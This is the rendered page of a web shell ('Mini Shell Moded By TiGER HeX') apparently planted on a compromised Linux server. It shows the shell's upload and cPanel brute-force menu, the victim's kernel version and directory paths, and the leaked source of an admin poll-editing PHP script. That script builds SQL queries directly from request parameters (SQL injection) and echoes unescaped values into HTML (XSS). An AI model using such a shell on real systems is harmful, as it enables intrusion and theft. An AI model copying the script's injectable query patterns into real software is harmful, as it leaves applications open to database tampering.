Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
mnt
/
volume_sfo2_01
/
50mmla
/
admin
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
/mnt/volume_sfo2_01/50mmla/admin/pollChoiceEdit.php
<? include_once('../includes/static/configure.php'); include_once('../includes/static/util.php'); include_once('../includes/static/dbcon.php'); include_once('../includes/static/gdimg.php'); include_once('../includes/static/sessions.php'); include_once('includes/static/util.php'); include_once('includes/appTop.php'); $page_id = str_replace(".php","",basename($_SERVER['PHP_SELF'])); if(!has_permission($page_id)){ die("You don't have permission to view this page!"); } $poll_id = 0; if(isset($_REQUEST['pollId'])){ $poll_id = $_REQUEST['pollId']; } $poll_cid=0; if(isset($_REQUEST['pollChoiceId'])){ $poll_cid = $_REQUEST['pollChoiceId']; } if(isset($_REQUEST['editChoice'])){ $sql = "UPDATE 50mm_poll_choices SET choice = '".$_REQUEST['pollChoice']."' WHERE poll_cid='$poll_cid'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } } include_once('includes/header.php'); $sql = "SELECT choice FROM 50mm_poll_choices WHERE poll_cid = '$poll_cid'"; if( !($result = $db->sql_query($sql)) ){ $sql_error = $db->sql_error(); die($sql_error['message']); } $row = $db->sql_fetchrow($result); $poll_choice = $row['choice']; ?> <script> divs = new Array('pollChoice'); </script> <form action="<?echo $_SERVER['PHP_SELF']?>" method="POST" enctype="multipart/form-data" onSubmit="return validateForm(this,divs,'error');"> Edit Choice:<span id="errpollChoice" class="error" style="visibility:hidden;"> *</span><br> <input class="field" name="pollChoice" style="width:250px;" value="<?echo $poll_choice;?>"><br> <input name="editChoice" type="submit" class="button" value="Edit Choice"> <div id="error" class="error" style="visibility:hidden;">Please correct the fields marked by *</div> <input name="pollId" type="hidden" value="<?echo $poll_id;?>"> <input name="pollChoiceId" type="hidden" value="<?echo $poll_cid;?>"> </form> <?include_once('includes/choiceExplorer.php');?> <br> <? include_once('includes/pollExplorer.php'); include_once('includes/footer.php'); include_once('includes/appBottom.php'); ?>